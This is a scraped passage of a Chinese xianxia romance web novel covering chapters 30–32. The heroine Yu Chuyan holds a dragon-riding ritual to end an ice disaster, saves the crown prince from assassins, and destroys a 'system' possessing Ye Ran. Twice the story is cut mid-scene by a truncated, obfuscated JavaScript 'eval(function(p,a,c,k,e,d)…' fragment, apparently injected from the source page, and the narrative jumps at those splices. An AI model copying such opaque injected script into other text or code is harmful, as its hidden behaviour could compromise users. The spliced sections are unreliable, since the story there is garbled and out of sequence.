剩下的百姓久积成怨,短短月余,城中已经爆发数次混乱,甚至有农民起义之举。 赈灾队伍带着后续京中送来的粮米,行至巴丘城外,半道还遇上民众抢夺物资。 所幸贺家军反应及时,唯有数量优势、未经训练又无武器的民众,哪是训练有素军人的对手,很快就被镇压。 还遇上过持着官府管制兵器的山匪,个个气场红得滴血,是手中人命无数的亡命之徒。 余初晏久违地出手,青渊一剑,半个山壁都被削平,直接毁了山匪老宅。 侥幸未死于剑下的匪徒失去反抗能力,很快被贺家军制服。 进入城中后,又恰逢百姓围住官衙,放火就要烧衙门,说是要以衙门制炭。 可怜的衙门众官,逃的逃,死的死。 赵景泽原本还想追究官府丢失兵器一责,面对暴民与年逾五十的老县令,都不忍再苛责他们。 即使赵景泽接手巴丘后,贺家军与太子亲随们很快开始有条不絮的赈灾,布施、卖粮炭、修缮房屋等等。 但巴丘人全然不领情,仍然在见缝插针闹事。 又听闻巴丘府兵落草为寇,常回城中洗劫百姓,贺家军又要分神出去剿匪。 弄得赵景泽这几日焦头烂额,整夜失眠,嘴角急出了燎泡。 余初晏一想,这与她而言可是大好的机会。 巴丘已经是附近最大的县城,再加上楚江对岸的洪县,足够她赚一波信仰之力了,必须弄得声势浩大一些。 她招手将两小丫头唤到身边,“帮我个忙,成了以后,我教你们一两招。” 贺吟眼睛一亮,“真的?那我要学你劈山那一剑!” 余初晏满口答应,她教是一回事,贺吟能不能学会是另一回事。 余雪生轻声细语问她也能学武,贺吟手一挥,“看你细胳膊细腿的,不学点武,以后让人欺负了哪行——晏阿姊,你让我们做什么?” 余初晏摸出从赵景泽身上顺走的一袋铜板,“去找城里的乞儿,让他们散布消息,说是五日后,楚江之上将会有一场祭祀——开曦月,破江冰!逆天而行!” 30. 江中祭祀 楚江两岸,印着麒麟图案旗帜被风吹得猎猎作响。 天才蒙蒙亮,江岸两侧全是黑压压的人头,说是万人空巷也不为过。 不仅仅巴丘,北岸洪县人也收到消息,推搡着挤在岸边。 余初晏把玩手中的傩面,青面獠牙、怒目而视的青铜面具,在昏暗的光中显得诡异万分。 她今日穿着深赤色巫祝服,长发简单扎成两股长辫垂在肩上。 头饰由凤凰尾羽和金乌羽制成,串着众多蓝白珠子的红绳坠在发间。 细看之下这些珠子像一双双眼睛,四下转动,颈间的链饰同样由它们组成。 腰间系着文鳐鱼的长羽,尾端直至裙摆,两枚金铃绑在尾端,随着余初晏的动作泠泠作响。 赤着脚,指尖涂着鲜红的蔻丹。 手指尖同色蔻丹,指节处还绘制着奇异的金色符文。 余初晏垂着眼为傩面点上眼睛,鬼面仿佛活了般,眼睛一动与她身后的赵景泽对上眼。 赵景泽吓了一跳,定睛望去,发现是错觉,傩面眼睛分明一动未动。 反倒是那些蓝白色珠子一直在转动。 余初晏将傩面别在头侧,余光瞥见赵景泽似乎对她饰品感兴趣,问道:“要吃吗?这是酸与的眼珠。” 这居然真的是眼睛,赵景泽难以抑制地心生恐惧,极快地摇头,深怕余初晏将眼珠喂给他。 “吃了也没什么用,顶多日后遇到酒、迷药这些不会迷失心智。”余初晏随意拨弄一下,好歹能够监控天气,令人望之生畏,比食用价值高得多。 赵景泽一听,不知做何想,咬牙说,“我吃!” 哪知不远处的贺鸣也听到了,过来讨要。 余初晏奇怪地瞥他们一眼,随手从芥子里摸出一把给他们。 酸与这种怪鸟,一只三双眼,挖了也能再生,九阙门过往曾有前辈喜欢这种眼睛做珠饰,横竖不是什么益鸟,就弄了不少。 赵景泽拿了颗囫囵吞下去,也不知有用没,再见那串珠链后,恐惧减了几分。 “阿晏上回不是说过,你不精祭祀之事吗?为何今日要举行祭祀?” 余初晏确实不通这方面,但没吃过猪肉,还没见过猪跑吗,她又不是真靠祭祀改天,纯粹做个样子。 给民众心中种下恐惧的种子,进而收割信仰之力。 不过天还是要改的,可不能让这些信众就此死去,活着才能源源不断供给她。 赵景泽心有担忧,虽然不知余初晏为何改变主意,但他实在担心余初晏会像上回那样受伤。 “阿晏,真的不会对你造成伤害吗?赈灾一事还可徐徐图之,大不了朝廷多修生养息两年。” 余初晏望着人头涌动的江岸边,摇头笑,“我从不做没把握的事,更不会置自身安危于不故。” 她肆意地笑,全然不将天道放在眼中,说改天换日,就要做到。 赵景泽心快跳出胸口,眼中只有如神祇般的面容,随即而来的却是惶然,他明明站在余初晏身后,却仿佛隔着天堑。 - 巳时两刻,天光大亮,余初晏戴着傩面,只身一人行于冰面上。 灵鼓奏响,众人为之一振,原本嘈杂的人群,逐渐趋于安静。 余初晏的速度很快,第三声灵鼓时,她已经站于江中心。 宽阔的江面上,她显得格外渺小,于两岸人眼中,不过豆大黑点。 人们心有怀疑,堪称简陋的祭祀,连巫祝都仅有一个女人,真的能改天换日? 又忍不住心生希望,他们苦严寒久矣,身边每日都有人死去,急切地想要回归正常的生活,想要见到冬日的暖阳。 余初晏一抬手,巨大的冰凌拔地而起,只消片刻,江面上林立出一片高矮错落的冰凌群,最高可达数十丈。 两岸人群惊呼不已。 等到余初晏跃至最高的冰凌上,又是一阵惊呼,人们又惊又惧,忘乎所以地注视着祭祀之人的一举一动。 食用过酸与眼球的赵景泽,视力激增,他能清楚地看到冰凌锋利如刀的尖端。 余初晏赤脚落于其上,手持巫铃开始起舞,时而落于另一道冰凌上,时而腾飞于空中。 她的长裙随风舞动,身上所佩的羽毛都在腾飞。 赵景泽的心也跟着忽上忽下,反复确认冰尖未有血迹析出。 天地间寂静得仿佛只有缓慢而震耳的灵鼓声,与分明相隔几里,却能清楚传至耳边的铃声。 灵鼓敲至十二下,异象突生。 “那是什么!”有人指着冰面之下惊呼。 巨大的黑影于冰面下游动,它所过之地,冰面出现明显的裂纹,并不断往两岸扩散。 驻守与岸边的士兵们暗中庆幸,幸好如今枯水期,楚江宽度收缩,而他们与身后百姓所站之地,是夏日水势最足时修筑的堤坝。 哪怕冰面消融,江水奔涌,短时间内也不会蔓延至两岸。 随着鼓声渐急,余初晏起舞越来越快,而在鼓声达到顶峰时,她忽然停了下来,鼓声也骤停。 黑影行至冰凌之下,沉寂不动。 像是暴风雨来之前的宁静,人们的心高高悬起,心跳越来越快,几乎快跳出嗓子眼,各个目不转睛,生怕错过任何细节。 暴雪忽生,密集的雪花夹杂着冰粒打在人脸上、身上,直叫人睁不开眼。 空中雷云翻滚,厚重的黑云不断堆积,简直和破阵那日一般,赵景泽冲到栏杆边上,放大的瞳孔紧紧盯着独自立于天地间的余初晏。 贺吟紧张地握住余雪生,“我在京中见过这云,之后会有好大一道雷……晏阿姊会没事吧……” “她是山神大人,肯定会没事的。”余雪生安慰她,其实同样害怕。 所有人精神高度紧绷,众目昭彰之下,余初晏动了,她轻巧地跃起,滞于空中。 在她跃起的同时,地面震动,虽不至于让人站不住脚,但所有人都能感觉到,就像是什么要从地下破土而出。 冰凌开始崩塌,冰面上的裂纹不断扩散。 雷电蓄势待发,厚厚的积云仿佛下一刻就要落到地上,压得所有人直不起身。 “是龙!是龙啊!”众人哗然。 黑影终于破开冰面,由水组成的巨龙腾飞而上,伴随一声清啸,水龙盘旋环绕在余初晏身边。 余初晏抬手抱住龙首,面露笑容,修养好的龙脉,已经能化作龙形,短暂离开地脉。 “祝我一臂之力。”余初晏翻身坐于龙背,一手握住龙角,一手直指天道。 水龙笔直上天,惊雷顺势劈下。 两股巨力相触,余初晏右手心的法则迸发出剧烈的金光。 响彻云霄的雷鸣与飓风一并扩散至千里开外,余音久久未熄。 强光刺得在场所有人闭上眼,风穿过他们,头发衣物饰品被吹得乱扬,离得近的建筑,屋顶的瓦片掀翻了无数。 龙吟再次传来,强风平息后,睁开眼的第一瞬间,就被高悬于空的太阳吸引。 即使被照得头晕目眩,泪流满脸,人们也舍不得移开目光。 ——太阳真的出来了。 随之而来的是被冲击得破裂的冰面声,江水浩浩汤汤直冲天际。 风雪消散,淅淅沥沥的太阳雨落下。 寂静之后是震耳的欢呼。 水龙载着余初晏于江间转悠了一圈,将落下的雨水收入自己体内,金线顺着这些水汇入它躯中,又最终流入余初晏丹田。 在余初晏眼中,满天的金线将其他颜色的气掩盖,少部分升上天道怀中,大部分连接在她身上。 原本不成型的丹田不断凝结,缩小,筑基的瓶颈破开一道小口,金光即将冲开屏障,却被余初晏硬深深压下去。 她不能在此结丹,雷劫的冲击很可能会毁掉一部分信仰。 轻扯水龙角,调转方向,余初晏直奔赵景泽。 赵景泽站在两边的楼阁顶,底下是欢呼的百姓,头顶是新生的太阳。 而他的意中人,骑着龙,朝他而来。 赵景泽其他声音都听不到了,除了自己的心跳。 水龙停在阁楼前,铜铃大的眼睛扫过在场的众人,太子亲随们大气不敢喘。 余初晏将傩面推至头顶,姣好的笑颜露出,朝他伸出手,赵景泽本能地伸手回握,随后他就被那条水龙吐了一脸水。 赵景泽:“……”手下意识收回来,想要抹脸。 余初晏已经一把握住他,将他拉到龙背上,另只手轻轻拍龙首,“老实点! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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怏怏地拉着余初晏不愿放手,“所以你还会回来的对吧。” “当然会,你为何会这么想?”余初晏奇怪。 赵景泽总不能说他害怕余初晏不会再回来,眼睫微颤,单手捧着她的脸,吻了上去。 这是他第一次主动的深吻,以往都是余初晏主导。 没有闭眼,他能看到余初晏眼中柔和的笑意。 肺里原本吸入冷冽的空气有些酸疼,如今却全是膨胀的热意。 直到他被铺天盖地的雪,浇了满头。 罪魁祸首无辜地从屋顶冒头,假装自己不过是翻了个身。 余初晏从唇间泄露出一丝笑音,并有逐渐扩大之势,笑着将他眼睫上、发梢、衣角的雪拂去。 “阿晏,你看它!”赵景泽委委屈屈,哪来的破龙,尽打扰他跟阿晏亲密。 “回头我说它。”余初晏亲了一下他的下巴,“我走了。” 水龙见状飞来,原本还想挑衅地吐水,被余初晏眼疾手快按住了吻部,被抓了个现行,讪讪作罢。 余初晏骑上它后,赵景泽还不满地瞪着水龙,“阿晏,你难道要与它一起闭关?” “只是送送我,它可不能离开湖州此地太久。”余初晏缓缓升空,最后又朝着赵景泽挥手示意后,长驱而去。 刚刚又吸上两口龙气,她快压制不住境界了。 水龙有些闹脾气,余初晏摸了摸它的角,“这是你自己选的太子,跟他闹什么,况且你不是对他挺满意的。” 水龙长吟,所到之地,吸引无数瞻仰。 一直到玉虚山间,压制的金丹彻底冲破阻碍,凝实成功。 雷劫如约而至,水龙知晓自己无法承受雷劫,念念不舍遁走。 唯留余初晏,直视着头顶的天雷,抽出青渊,就迎了上去。 离飞升,又进了一步。 - “原来只是个刚结丹的黄毛丫头。”远处山间,白衣道人久久驻足,望着雷劫落下的方向。 不过是仗着门派家底丰厚,才能屡次打乱他的布局,真实实力不过如此。 他堂堂合体修为,又是魔修,对付她绰绰有余。不过九阙门保命之物众多,他得多加谋划,确保一击必杀。 又一甲子将至,此间得道成仙之人只会是他。 31. 回澧都 玉虚山间,雾气萦绕,几只仙鹤落于池间,悠闲踱步,时而以喙扎入水中,叼上一只游鱼,吞入腹中。 忽然,几只鹤像是被何物惊扰般,扇翅离去。 在它们飞走后,水面上聚起一片灵力漩涡,在洞府前环绕一周,猛然被吸入洞中。 刹那间,金光迸发,洞府封印自内破开,惊起水面上一群蜉蝣。 余初晏伸着懒腰从洞府中走出,阳光正好,光斑透过头顶的合欢树洒落在水面上。 金丹已成,又在残存的小秘境中肆意一番,余初晏如今境界巩固,体内灵力生生不息。 金丹期容颜永驻,除非刻意改动,今后再无变化。 余初晏对自己的容貌还算满意,除了不太像师尊有些可惜。 青渊剑静静地别在她腰间,结丹后可御剑飞行,一开始练习时,青渊剑万般不配合,被揍了几次,已经老老实实指哪飞哪。 看一眼日晷,已是仲夏时分,比她一开始所算的闭关百日要久了月余,是时候回澧都了。 返京前,余初晏先去了一趟楚江周边,探望龙脉。 那场祭祀,龙脉是专程奔赴为她造势而来,合情合理余初晏出关后也应该让其知晓。 江面上船只不断,商旅络绎不绝,短短数月,巴丘恢复以往生机。 楚江巴丘侧,岸边新建起一座寺庙,庙还未建成,神像已经铸好,余初晏望了一眼。 “……”不确定,再看一眼。 铜像脸戴傩面,一脚踩着龙身,左手握着巫铃,右手捏诀指天,颈间神态各异的眼球也雕得栩栩如生。 龙盘旋于她身边,上身直立,凶狠传神的龙首立于她背后,配合着青面獠牙的傩面,活脱脱一副恶神的模样。 余初晏:那日她有这么凶吗? 无妨,横竖信仰之力收到就好,余初晏安慰自己。 庙宇虽未建成,已经有不少人特意路过此地,在神像前一拜。 走在街上也能听到本地人向外地商贾,夸大其词分享那场祭祀奇观。 外地人半疑半信,但遇到的每一位本地人都会说上两句,次数多了也来了兴趣。 有文人执笔成画,将当日之景跃然于纸上,取名为《神女斗天》。 巴丘码头最大酒楼的老板见之,连连称赞,还特意命人将画放大数倍,刻于酒楼大厅,往来期间的客人都能看见。 包括余初晏本人,幸好那日她戴了傩面…… 听闻落草为寇的府兵,主使者被杀,剩余的流放海州。 听闻冰灾消散后,洞县差点酿出大疫,幸得太子当机立断,用了足足半个月时间,打捞河道尸体,净化水源。 才避免洞县及下游乡县二次受灾。 而知州与一众瞒而不报的地方官通通革职,杀的杀,流放的流放。速度之快,都未等谕旨传回,引来百姓一片叫好。 不止神女祭祀,百姓讨论得最多的便是太子与定边侯亲力亲为,四处赈灾一事。 除了两者功绩,还有神女与太子暧昧不清的关系,毕竟余初晏骑龙将太子接走一幕是在众目睽睽之下。 有说神女就是太子妃,与太子系伴侣;有说神女只是借太子妃凡人之躯,行逆天之事,祭祀结束后离去,独留太子念念不忘。 更甚者说神女与太子是天界母子,神女为子下凡,助其一臂之力。 众说纷坛,越传越离谱,余初晏听了都摇头。 其间夹杂着另一传闻,说神女是天坑山的山神,曾救下过当地村民献祭的新娘,村民亲眼所见她从天坑山的巨大洞穴中走出。 其后,因为失去山神,天坑山发生山崩,一整个村庄都被埋于山石之下,活下来的不过数十人,幸存者亲口言是因为村民惹怒了山神。 这些传闻都为神女蒙上一层神秘的色彩,借由巴丘之水,再传至青渊各地。 余初晏很满意,她获得了信仰与力量,太子获得了声望,龙脉重回了健康。 故地重游,寺庙的主持认出了余初晏,他瞳孔微缩,大抵是猜到了眼前的女子与传闻中的神女有千丝万缕的关系。 他靠着余初晏赠与的令牌,获得了一批物资,让庙中老弱熬过了隆冬,开了春又领到了粮种,在后院里耕种,也能勉强过活。 “您……” 余初晏掀开井盖,缩小到小臂长的水龙迫不及待钻出来,缠在她手臂上。 主持哑然,他守在此地近三十年,从未见过龙脉现身。 “我要回京了,跟你告别。”余初晏戳弄一番龙角,“下次别傻乎乎任由魔气侵蚀,你好歹是龙,连魔气都打不过,丢人。” 水龙朝余初晏吐水,被轻松挡住,“说你还不耐烦。” 龙脉首尾相连,哪怕回京中,龙脉依旧是认得她的,但余初晏觉得告别还是要有的。 又同它说会话,才扭头望向被忽略的主持,“它让你不要总盖着井盖,它偶尔也想晒太阳。” “这是自然。”主持诚惶诚恐地应下,这可是真龙的命令,哪敢不从。 水龙想送余初晏一程,但被拒绝了,这个节骨眼,神女还是保持点神秘感比较好。 将龙脉送回井中,留下一些香火钱,余初晏捏了传送符,消失在原地。 - 时隔百日,她重新踏上澧都的土地,让她瞧瞧小龙崽子现在在做什么。 金丹期神识能比以往铺得更广,短短几息,神识已经铺满整个澧都内城。 然后便瞧见了正被刺客围攻的太子。 余初晏:“……”澧都为何这么多刺客,又是什么黑阁派出来的? 来不及多想余初晏缩地成寸,赶去太子所在方位。 瞧着方向在皇宫附近,与宋表姐府邸挨得很近。 余初晏到后才知是宁亲王府,她刚抵达,皇城司的禁卫也到了街角,比她晚上几步。 眼中造景有种熟悉之感,余初晏快速掠过这些风景,直奔太子,眨眼的功夫落到了屋顶。 只是眼前的一幕让她有些摸不着头脑。 太子身边一男一女,分别一左一右拉着他。 一位边喊着:“殿下!草民保护你”,边拉着太子不让他下席。 另一位还是余初晏熟人,叶苒,她同样紧紧抓着赵景泽,却是想将太子带离。 刺客袭击前,此地似乎在举行宴会,场中踢翻的桌案、散落的酒食、躲在角落报团的陌生士族、举着重剑和刺客拼杀的宁亲王夫妻和侍卫。 还有身着戏服的刺客,整个院中乱成一团。 赵景泽似想摆脱那男子,却迟迟无法挣脱,眼见着他带着自己往刺客身上撞去。 他瞳孔放大,耳边还有皇叔让他快撤出席间的呼喊。 刺客的利刃即将刺进他胸膛时,男子又以诡异的身形挡在了他的面前。 利刃刺入体内的声音迟迟未传来,赵景泽定睛一看,刺客居然已经没了呼吸,一推即倒,堪称诡异。 其他刺客冲上来,男子还是一副壮烈至极的模样挡在他面前,暗地里却是用巨力压制着赵景泽让他无法逃开。 直到令人安心的清香从他身后袭来,赵景泽落入了熟悉的怀抱,挡在他身前的男子被人一脚踹飞出去,与刺客撞在一起。 “这是在做什么?”余初晏抱着赵景泽,目光却是落在叶苒身上,“你怎么在这?” 叶苒支吾着说不出话。 余初晏眼睛微眯,死死盯着叶苒,她终于知道叶苒身上的违和感从何而来了。 此前她功力不足看不出门道,现下一瞧,叶苒分明不是此界之人,神识里还附着怪异的魔气。 被踹飞的男子爬起,回头望见余初晏,大喊,“快来人啊!太子殿下被刺客挟持了!” 宁亲王的亲卫未见过余初晏,下意识回防,攻击过来。 赵景泽连忙拦住他们,“等等!这是本宫的太子妃,你们要造反吗?” 余初晏趁此出剑,轻轻一挥,剑意擦着男子脖颈而过,留下清晰的血痕,在他身后几名刺客已然瞬间暴毙。 男子抚过颈间的鲜血,对上那双冰冷的目光,被慑在原地动弹不得,搞什么……一开始也没人告诉他,太子身边居然也有修真者啊! 平静地瞥一眼叶苒,余初晏道:“回头再找你算账。” 皇城司终于入场,见形式不妙,少部分刺客迅速撤退,剩下无法逃走的也服毒自尽。 赵景泽手一指,“将他也拿下!”正是方才拦他的男子。 皇城司领命行动,那人还想逃走,余初晏随手捡起碎瓷片打在他腿弯,狼狈跌倒后被禁卫压制在地。 余初晏隔空贴了张符在他眉心,用口型示意:“别想逃跑。” 男子放弃抵抗,被禁卫带走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵景泽二月底归京后,又忙于三月春闱,紧接着是开夏宴、端午宴,好不容易才得了空,受邀参加宁亲王的宴会。 因着是皇叔家中,他也未带太多侍卫,正巧向晖又有其他事未能跟从。 那叫胡礼的门客席间与他搭话,谈吐优雅,见识不凡,赵景泽便与他多聊了几句。 刺客袭来后,赵景泽本想第一时间退至安全处,哪知胡礼故意拉着他不让离席,嘴上说是相护,实则故意喊叫引起刺客注意。 再后来余初晏全都知晓了。 “皇婶新认的义女有什么问题吗?我看阿晏一直瞧她。”赵景泽试探着问,可别又是别有居心,潜藏在宁亲王身边。 余初晏不确定,“她应当不会害宁亲王夫妇,但是否有别的目的我就不知了。” 明日登门拜访,她再看看。 马车里陷入静谧,赵景泽抱着余初晏不说话,后者任他抱着,也不开口。 两人如今的姿势堪称怪异,余初晏坐在小塌上,赵景泽跪在软垫上,挺直身体,手环着她的腰腹,头靠在颈间。 “阿晏,我好想你。”良久,赵景泽才道,四个月,一百二十余天,分别的时间早已超过了两人相聚的时光。 余初晏手搭在他的后颈,另一只手往后撑着塌上,然后被什么东西膈到了掌心,似乎是一本册子。 她顺手拿出来,半搂着赵景泽翻开。 赵景泽察觉到她的动作,甫一侧首,看清她手里的册子,魂都要吓飞了。 当即仰头,亲在余初晏唇上,想要挡住她的视线。 余初晏确实被他转移了注意,但册子的内容也看入了眼中。 她刚将册子放下,赵景泽眼疾手快抢走,踢进塌下的暗柜中。 余初晏伸手抵在他肩上,轻轻将他推离些,两人呼吸交缠,赵景泽满面绯红,羞愧得眼中都冒出了水光。 “阿晏你听我解释,那都是旁人塞给我……” 余初晏亲了亲他的唇珠,坦然道:“不就是一本双修册子,我有很多,你那本不太行,你要是想的话,回头我们试试?” 赵景泽:“……” “……” “……好。” “所以阿晏你和别人……‘双修’过?” “……没有。”余初晏蹙眉,怎么,这小龙崽是觉得她经验少,不满她吗? 区区双修,有何难矣。 全然误会了赵景泽意思的余初晏,与半羞半喜的赵景泽心思各异,东宫的夜晚注定不平静。 32. 叶苒 两日后,余初晏登门拜访宁亲王府,指名道姓有事与叶苒相商。 她来势汹汹,叫宁王妃心生担忧,反复确认她不是来寻仇的。 叶苒好生安抚一番,推说与余初晏是旧识,不过是因为不告而别,才惹得余初晏生气。 王妃勉强放心,令人送些瓜果点心,遣散了下人,好叫她们专心叙旧。 余初晏在她房中四处张望,“宁亲王夫妻对你还算不错,比你在国师府的房间大了不少。” 说是当亲女儿在养也不为过。 叶苒僵笑一声,“太子妃殿下来找我做什么?” 余初晏不语,上下仔细打量她,最终定格在她脑中那缕魔气上。 “如果是追究我擅自离开国师府,那我向你道歉,我没签卖身契,随时都可离开……”叶苒色厉内荏为自己辩解。 “我祖父留在国师府,为国师卖命那么多年,总不能也强逼我一直困于府中,我……我也是要嫁人的!” 听到哑奴,余初晏倒是问了一嘴,他身体如何。 叶苒结结巴巴回还好,住进岛中后,风湿好转了许多,如今夏天又搬回了原来的住处。 说了一大堆,余初晏也没什么反应,她有些搞不懂余初晏的目的了。 从初见起,余初晏就用这种令人毛骨悚然的目光盯着她,前两日更甚,像是将她看穿看透。 余初晏坐下,给自己倒了杯水。 夏衫轻薄,袖口滑落时,叶苒瞧见她手腕处有一道浅浅的牙印。 没等叶苒细看,余初晏接下来一番话,差点让她站不稳,跌落在地。 “你不是叶苒,更不是此界之人,你到底是谁?” 黑沉沉的眼眸紧紧盯着她,叶苒脑中警铃大作。 “我是叶苒……”她说。 “你不是。”余初晏摇头,“至少不是此界的叶苒。” 叶苒忽然捂住脑袋,快要将头颅劈开的疼痛感逼得她摇摇欲坠,眼前阵阵发黑。 “我是!我是叶苒!”她双手撑着桌面,闭眼试图缓解疼痛。 在余初晏眼中,那团魔气在她脑中疯狂尖叫搅动,要不了多久,叶苒便会走火入魔,七窍流血,暴毙而死。 所以,余初晏出手了,她手心附在叶苒眉心,想要将那团黑气吸出。 哀嚎脱口而出前,她将叶苒打晕,魔气很顽固,无论如何都不愿离开叶苒身体。 余初晏以此前龙脉捕捉到的一小撮魔气为饵,废了不少灵力,才将它剥离。 幸好这两日她体内龙气充裕,不然经不起她胡乱消耗,更别提将魔气困住。 魔气被她凝成一枚珠子,困于掌心。 [你想变强吗?]虚无缥缈的声音,突兀地于她耳边响起。 余初晏张望半天,确认说话的,就是她手中的魔珠。 [你想成为皇后吗?] [你想获得家财万贯吗?] [任何愿望,我都能为你实现,而你只需要付出一点小小的代价,偶尔喂我一些灵力。] “不想。”余初晏一句话赌死了它的话头。 魔珠急了:[你不想飞升吗?我能帮你做到——] “还需要你帮?我本来就能做到!”余初晏一脸自傲,连师尊都三十多才结丹,她才二十一,还是最顶尖的九品金丹。 大好的年华,绝顶的天赋,若她无法飞升,此界无人能做到。 “况且,你是个什么东西,大言不惭,连金丹之手都无法逃脱,还说祝我得道。” [我是系统,高维产物,和你多解释无益。你只需知道,随着你喂我的灵力越多,我也会不断增长。等开放商城后,各界法宝心法任你挑选,还愁无法飞升?] [系统还会根据你的愿望,制定最完美的阶段性任务,完成任务即可获得积分……] 余初晏没耐心听它废话,从芥子中翻出师尊曾经炼丹的乾坤鼎。 说是上古神鼎,师尊那种粗暴的炼丹水平,亦能炼出上品丹药,纯粹得益于装备精良。 魔珠往鼎中一塞,耳边传来尖锐的暴鸣,像是指甲划过某些粗糙的表面时那种嘈杂、令人头发发麻的声音。 即使余初晏封闭听觉,仍然不绝如缕,在脑中回荡。 一怒之下,余初晏祭出九阙门珍宝,太阴火。 加大灵力输出,狠狠炼化魔珠。 不知何时,天道也来凑热闹,雷云集结。 先只浅浅地劈下一道雷,引起余初晏注意,似要与她谈判。 天道这番举动,让余初晏对魔珠此前的话信了三分,能让天道都感兴趣的,那可真是好东西。 眼睛一转,和天道商议:“祝我成丹,之后你三我七。” 天道不愿,这回的雷重了不少。 “我发现的,我抓到的,你什么都没做凭什么分一杯羹?”余初晏不乐意了。 天道噼里啪啦开出一堆条件,比如日后成为天道宠儿,做什么都顺畅无比,否极泰来。 比如把当年谋害她之人送到她面前,助余初晏杀了他。 最后这条件,让她心微动,“品质要极品,你四我六。” 天道还想谈,余初晏火一熄,“那我不炼了,反正它已经闭嘴了。” 天道勉勉强强同意,示意余初晏将鼎炉放至院中,以紫宸之气护着。 余初晏照做,一道金雷精准劈下,乾坤鼎四分五裂,露出其中金光闪闪两枚仙丹,一枚明显大了一些。 另一枚迅速消散于空气中。 余初晏:“……” 她的神鼎,九阙门最珍贵的鼎炉,天道暗算她! 赶在下人听到动静前来探查前,余初晏将丹药服食,鼎的碎片收回芥子中,日后修一修还能用。 叶苒也被这声惊雷震醒,迷迷糊糊从地上坐起。 甫见到余初晏,她的记忆瞬间回笼,大脑已经不再疼痛。 “系统?”她在脑中呼喊,无人回应,她反复喊,最后甚至叫出声。 余初晏靠在门上,挑眉看她,“细桶是什么?” 叶苒眼泪都掉下来了,语无伦次:“我……你……系统……” 余初晏将她拉起来,下人来查看两人的情况,看到流泪不止的叶苒,欲言又止。 “她想家了,一时没忍住。”余初晏随口道。 下人面露怀疑,她分明记得叶苒是因无家可归,才被王爷王妃收养。 叶苒顺着余初晏的话,点头,抹去眼泪,哽咽道:“我想家了。” 想的却是她异界的家。 下人犹疑,还是决定将此情此景告知王妃。 待她离开后,余初晏才慢条斯理道:“如果你是说你脑中那个满嘴胡言乱语的玩意,已经被我炼成丹吃掉了。” 目前没什么效果,也不知道为何天道会如此重视。 叶苒呆滞了,她不敢相信桎梏她两年的系统,短短不到一个时辰,就消失了,彻底消失了。 “你在骗我吗?”无论在脑中怎么呼喊,系统都无回音。 余初晏不解,“骗你做什么?我看它弄得你很痛苦,帮你除了它还不好吗?” “那我要怎么回去?”叶苒喃喃自语,她强忍着惩罚,违背自身意愿做任务,就是为了回家。 眼见她又要情绪崩溃,余初晏贴了张清心咒给她,让她冷静下来。 “和我说说看,怎么一回事?”余初晏话语里有种神奇的魔力,叶苒顺着她,逐渐趋于平静,断断续续回想她这两年。 她是叶苒,又不是叶苒。 就像余初晏所说的那样,叶苒未满十六,被山间毒蛇咬中。 国师府偏僻,哑奴又无法说话,等钦天监收到信号赶来救助后,从叶苒身体里醒过来的却是千年后同名同姓,年龄都相差无几的女孩。 更巧合的是,叶苒同样与爷爷相依为命,虽有父母,但双方离婚各自组建家庭。 不知从何处冒出的系统,知晓了她想要回家的心愿,表明只要她完成任务,就能送她回去。 叶苒一开始不愿意,于是系统为了惩罚她的消极怠工,时不时会让她体验濒死感,再将其救回。 余初晏想起那晚莫名的预感,以及救起叶苒的巧合,目光渐沉。 多次濒死体验,击垮了叶苒的坚持,她终于愿意下山做所谓的任务。 在系统的指引下,她与宁王妃相遇,依照系统的资料,投其所好,讨得宁亲王夫妻欢心,成为他们的义女。 接下来就是接近太子,成为太子后宫的一员。 余初晏短暂地打断了她:“所以你的任务具体是什么?” 叶苒回想片刻,回道:“好像是帮助什么人成仙,系统说到时候界壁会打开,然后就能穿越时空,将我送回去。” 她一拍脑袋,“遇到你不久后,系统曾让我混到你身边,说你在未来会成为目标的劲敌,要求我提前杀死你。” 在余初晏的注视下,叶苒声音越来越低,“你不是拒绝了嘛……还害我被电击,你不知道那有多难受……” 余初 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杯子在余初晏手中彻底碎成齑粉,她抬眼,一字一顿道:“因为我会亲手将逍遥道人碎尸万段!所以他绝无可能飞升——” 叶苒被她眉间的戾气吓得瑟瑟发抖,这是多大的仇多大的怨啊。 下一瞬,余初晏收敛起所有恶颜,露出柔和的笑容,“你好好在宁亲王府待着,想做什么都可以,回国师府也行,你自由了,叶苒。” 叶苒一怔,眼睛一眨,忽然就哭了,她来异世前不过高中生,独自一人身处异世,身边无人可诉说,又有居心悱恻的系统。 余初晏递了一张帕子给她。 叶苒嚎啕大哭,“可是……可是……我接近王妃是别有目的,那些东西都是系统教给我的,它逼我成为王妃想要的女儿,那都不是我,我真的能留在宁亲王府吗?” “祖父也是,他的孙女分明不是我,等他知晓了,只会当我是占据他孙女身体的怪物……” 钦天监的众人也是因为她是“叶苒”才对她好,可她不是“叶苒”,她又是谁? 余初晏叹口气,“那你何不问问王妃的意思?” 说罢,宁亲王妃已经握着武器闯入房中,怒视着余初晏。 她方才从下人口中听闻,叶苒似乎受了太子妃欺负,连忙赶来查看。 甫一到院中,就听到叶苒啼哭,她哪能忍,也顾不上什么尊卑,直接抽出武器,踢开房门。 “娘!”叶苒哭得一抽一抽的,快要背过气去了。 虽说她是被逼着接近宁亲王妃,短短数月,王妃对她实在太好了,从未感受过母爱的叶苒,打心底将她当做自己的亲娘。 宁亲王妃上前拉住叶苒,轻拍她的背给她顺气。眼神还是不离余初晏,“别怕,阿苒,受了委屈跟娘说!就算是太子妃也不能无缘无故欺负于人,娘定会与你讨个公道。” 被当恶人的余初晏:“……” 叶苒摇头,心情稍微平复了一些:“不是这样的,殿下没有欺负我。” 宁亲王妃耐心地等她说话,再三安慰她,无需害怕。 见她如此温柔,叶苒抑制不住恐惧,害怕知道真相后,所有人都会将她抛弃,抱着王妃又呜呜哭了起来。 再次被王妃狠狠瞪视后,余初晏受不了,言简意赅道:“此先她被人威胁才接近王妃你,刻意讨好王妃进入府中,就像胡礼接近王爷一样,都是别有目的。” “那人威胁若是做不到就杀了叶苒,她也是逼不得已。如今我已经将主使者杀死,叶苒害怕你们得知真相后会将她赶出府,所以才啼哭不止。” 